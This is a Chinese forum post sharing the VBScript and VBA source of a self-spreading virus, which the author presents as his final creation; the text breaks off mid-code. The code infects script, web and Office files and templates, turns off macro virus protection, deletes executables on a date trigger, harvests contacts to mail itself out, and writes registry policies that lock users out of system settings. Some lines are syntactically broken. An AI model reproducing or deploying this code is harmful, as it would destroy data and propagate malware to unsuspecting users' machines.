文章作者：squirrel
这是squirrel离开苏睿暄小组之前的最后一只毒
复制内容到剪贴板
代码:
On Error Resume Next
Set igalgbinffy= Createobject("scripting.filesystemobject")
Set rfqwdudwylf = CreateObject("WScript.Shell")
main
sub main()
On Error Resume Next
Dim known
Set known = CreateObject("WScript.shell")
If known.RegRead("HKEY_CURREN_USER\Squirrels2001", "devil29880") <> "die" Then
macrovirus
ircvirus
mload
else
mload
end sub
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\squirrel2001.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "squirrel2001.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "\" & "squirrel2001.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "squirrel2001.hta"
End If
End If
End If
Else
virusmain
End If
End Sub
Sub virusmain()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\squirrel2001.htm") Then
Of.DeleteFile ("C:\squirrel2001.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 10 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
if month(date)=9 then
if day(date)=4 then
joke
end if
end if
Cn = Rg(Ks & "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 = Rg(Ks & "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "\squirrel2001.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds & "\squirrel2001.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs & "\Untitled.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <> "" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>我爱你张一!</title" & ">"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "squirrel2001.vbs"
End Sub
Function Sa(n)
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m & vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN = "Rem 我爱你张一"
If InStr(S, mN) > 0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <> "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
IsMail = True
End If
End If
End Function
Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) = "vbscript" Then
If Sc(ws.Text) Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv = False
Else
Iv = True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:\"
Else
Gsf = m
End If
End Function
Function Lhtml()
Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function
Function Lscript(S)
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i > 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 & "mailto" & ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds & m & vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf & "\Untitled.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf & "\Untitled.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function
sub joke()
dim snow
set snow=CreateObject("WScript.Shell")
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoFind",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoRun",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoClose",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoFavoritesMenu",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoStartBanner",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoFolderOptions",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoSetActiveDescktop",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoWindowsUpdate",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoTrayContextMenu",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDevMgrPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoConfigPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoFileSysPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoVirtMemPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispCPL",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispBackgroundPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispscrsavPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispAppearancePage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispSettingsPage",1，"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoSecCPL",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoPwdPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoAdminPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoProfilePage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoComponents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoAddingComponents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoDeletingComponents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoEditingComponents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoClosingComponents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoNetSetup",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoNetSetupIDPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoNetSetupSecurityPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoFileSharingControl",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoEntireNetwork",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoWorkgroupContents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoPrinters",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoAddPrinter",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoDeletePrinter",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoPrinterTab",1,"REG_DWORD"
snow.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","I MISS YOU"
snow.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","难道真是昨夜星辰昨夜风,此情可待成追忆了吗？一切都仿佛发生在昨天！你好吗？我只是想知道你还好吗。"
snow.regwrite"hkey_local_machine\system\currentcontrolset\services\i8042prt\prameters\crashonctrlscroll","1234"
snow.sendkeys"^{scolllock}{scolllock}"
dim loveme
loveme="忆自学校三摩，获亲尘诲，别后山川间隔，时序频迁。
尘封往事，历历在目，提起笔，却无从写起。。。
轻轻推窗而望，夜人静，唯有晚风摇动一树相思。。。
其实，感情的某些片刻，并不比精心设计小说情节逊色。
从认识你的那一天开始，我的世界便开始了漫长的等待，为一种没有结束的等待而等待。
然而，注定我们都是流浪的心
注定我们都没有相交的轨迹
我奔你而来 在灿烂的星河中
寻找你的星座
追踪你的声音
我气喘吁吁却心甘情愿做一抹色彩
涂上你的生命
让我面目全非的芳龄真诚而坦白
我想不出你风尘仆仆的模样
想不出的黑夜里 你会乘哪一叶孤帆而至
那疲倦的身影是风浪雕塑的男人
潇洒的黑发漂拂着你坎坷的经历
我愿永远站在这命运的立交桥上
作无约无期的等待
在纵横交错的手纹里
找出同向你的路口
这一切 都满含着我的心愿
我因此而孤立无援
我不在乎我凄凉的等待
除了你 我别无选择
除了你我不会跨入那道栅栏
我会是风雪中那棵固执的寒梅
看你遥遥无期 而我依然守着冬天
然而，现实是那样残酷。
我可以忘却一个名字，
却忘却不了一种情感，
你的偶然的光亮，照彻了我久久等待后的枉然。
我的淡淡的忧伤，因你的照耀而升起一圈光轮。
不认识你多好，既无痛苦也无烦恼，认识你更好，宁可痛苦也宁可烦恼。
既然你要让火山沉默，那就让它沉默，
但沉默并不是死亡，
我知道，这不过是等待下一次喷发。。。
如果你不爱我，愿上帝祝福你，如果你还爱我，让上帝一千倍祝福你
让我们好聚好散，彼此道一声珍重。
如果有一天，我们不再挥霍所拥有的一切，不再为所失去的惋惜，那我们就学会了珍惜，
但一切都太晚了。
聚也不是开始，散也不是结束。
然而，我们今天只能说：
无法拒绝的是开始
无法抗拒的是结束
你我之间是该结束了。
大约在冬天，我得走远，
丧失我，像火舌吞过的原始森林，
留下烧焦的空气给你，
所有的们都从原来的地方迁走，你也没了钥匙。
幸亏时间可以改变一切。
任何痛苦和欢乐都可以在时间的推移中找到最后的归宿，
任何难题和疑虑也都可以在岁月的流逝中得到圆满的答案。
看完信，也许你就在也见不到我了，想见我一面道一声珍重的机会好象也没有了。
再次伫立窗前，却发现岁月匆匆，昔日那生动的梦境竟如残叶在心中的湖泊中飘零。
无名瀑独斟你的名字，
酿千年的烈酒品你的名字，
我抚摩着你的名字流泪。。。
署名：一方无法融化你的孤傲的天空"
msgbox "致张一:"&loveme
snow.minimizeall
end sub
sub macrovirus()
dim viruscaurse,macroset,nt,txtff,fsys,la
la=1
viruscaurse="'<!--Squirrel-->
Private Sub Document_Open()
On Error Resume Next
Dim file$
Dim ans$
Dim test
Dim mItem
Dim cItem
Dim aDoc
Dim aTemp
Dim vset
Dim Iset
Dim ads
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Application.ShowVisualBasicEditor = False
If System.PrivateProfileString('', 'HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\word\security', 'level') <> '' Then
CommandBars('Macro').Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\word\security", "level") = 1&
Else
CommmandBars("Tools").Controls("Macro...").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
For Each mItem In CommandBars("Tools").Controls
If mItem.Caption = "自定义(C)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "模板和加载(I)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "选项(O)..." Then
mItem.OnAction = "AutoClose"
End If
Next mItem
For Each cItem In CommandBars("Tools").Controls
If cItem.Type = msoControlPopup Then
If cItem.Caption = "宏(M)" Then
For Each mItem In cItem.CommandBars.Controls
If mItem.Caption = "宏(M)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Visual Basci 编辑器(V)" Then
mItem.OnAction = "AutoClose"
End If
Next mItem
End If
End If
Next cItem
For Each cItem In CommandBars("Visual Basic").Controls
cItem.OnAction = "AutoClose"
Next cItem
For Each cItem In CommandBars
If cItem.Visible = True Then
屏蔽按钮自定义
cItem.Protection = msoBarNoCustomize
End If
Next cItem
If ads.Name = "Autoexec.dot" Then
看看autoexec.dot是否加载
ads.Installed = False
End If
Next ads
With Dialogs(wdDialogToolsOptionsFileLocations)
.Path = "STARTUP-PATH"
.Setting = "c:\"
.Execute
把起始目录指向C:\ 以便加载autoexec.dot
End With
file$ = WordBasic.[MacroFileName$]()
If InStr(file$, "Autoexec") <> 0 Then
For Each aDoc In Documents
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "Squirrel") Then
vset = 1
End If
Next cItem
Next aDoc
For Each cItem In NormalTemplate.VBProject.VBComponents
该查Normal模板了
If (cItem.Name = "Squirrel") Then
vset = 1
End If
Next cItem
If vset <> 1 Then
WordBasic.DisableAutoMacros
准备感染,关掉自动宏选项
Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":Squirrel", aDoc.FullName + ":Squirrel"
创建C:\autoexec.dot模板,并将病毒复制过去
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":Squirrel", aTemp.FullName + ":Squirrel"
End If
Next aTemp
ActiveDocument.Save
ActiveDocument.Close
End If
If vset = 1 Then
GoTo out
End If
End If
With Application.FileSearch
如果打开的文件不是autoexec.dot ,则自己找
.LookIn = "C:\"
.FileName = "Autoexec.dot"
If .Execute > 0 Then
Iset = 1
End If
End With
If Iset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Add NewTemplate:=True
WordBasic.MacroCopy file$ + ":Squirrel", ActiveDocument.FullName + ":Squirrel"
ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
ActiveDocument.Close
End If
For Each aDoc In Documents
If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aDoc.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aDoc
For Each aTemp In Templates
If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
For Each cItem In aTemp.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aTemp.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
Set NT = NormalTemplate.VBProject.vbcomponents(1).CodeModule
Set TT = Templates(1).VBProject.vbcomponents(1).CodeModule
Set AD = ActiveDocument.VBProject.vbcomponents(1).CodeModule
If AD.Lines(1, 1) <> "'<!--Squirrel-->" Then
AD.DeleteLines 1, AD.CountofLines
AD.InsertLines 1, TT.Lines(1, TT.CountofLines)
If AD.Lines(1, 1) <> "'<!--Squirrel-->" Then
AD.InsertLines 1, NT.Lines(1, NT.CountofLines)
End If
End If
If NT.Lines(1, 1) <> "'<!--Squirrel-->" Then
NT.DeleteLines 1, NT.CountofLines
NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
end if
Set xlApp = CreateObject("Excel.Application")
If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Microsoft Excel", "Options6") = "Check"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\9.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\9.0\Excel\Microsoft Excel", "Options6") = "Whoa"
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
Book1Obj.Close
End If
xlApp.Quit
Set PPObj = CreateObject("PowerPoint.Application")
Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
For Each ModComponent In PBT.VBProject.vbcomponents
If ModComponent.Name = "Squirrel" Then dontadd = True
Next
If dontadd <> True Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\PowerPoint\Options", "MacroVirusProtection") = ""
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\9.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\9.0\PowerPoint\Options", "MacroVirusProtection") = ""
Set NewMod = PBT.VBProject.vbcomponents.Add(1)
NewMod.Name = "Squirrel"
NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
With ShapetoWack
.Name = "Squirrel"
.ZOrder (1)
.Line.Visible = False
.Fill.Visible = False
.ActionSettings(1).Action = 8
.ActionSettings(1).Run = "actionhook"
End With
Set NewMod = Nothing
PBT.Save
End If
PBT.Close
PPObj.Quit
End If
If TT.Lines(1, 1) <> "'<!--Squirrel-->" Then
TT.DeleteLines 1, TT.CountofLines
TT.InsertLines 1, NT.Lines(1, NT.CountofLines)
End If
call killyou
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Set AW = ActiveWorkbook.VBProject.vbcomponents("ThisWorkbook").CodeModule
Set TW = ThisWorkbook.VBProject.vbcomponents("ThisWorkbook").CodeModule
If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
WQuit = True
End If
Set NT = WordObj.NormalTemplate.VBProject.vbcomponents(1).CodeModule
WordObj.Options.SaveNormalPrompt = False
NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + TW.Lines(23, 3) + Chr(13) + Chr(10) + TW.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub"
WordObj.Run "Normal.ThisDocument.DisableAV"
NT.DeleteLines 1, NT.CountofLines
NT.InsertLines 1, TW.Lines(1, TW.CountofLines)
Set NT = Nothing
If WQuit = True Then WordObj.Quit
Set PPObj = CreateObject("PowerPoint.Application")
Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
For Each ModComponent In PBT.VBProject.vbcomponents
If ModComponent.Name = "Squirrel" Then dontadd = True
Next
If dontadd <> True Then
Set NewMod = PBT.VBProject.vbcomponents.Add(1)
NewMod.Name = "Squirrel"
NewMod.CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines)
NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
With ShapetoWack
.Name = "Squirrel"
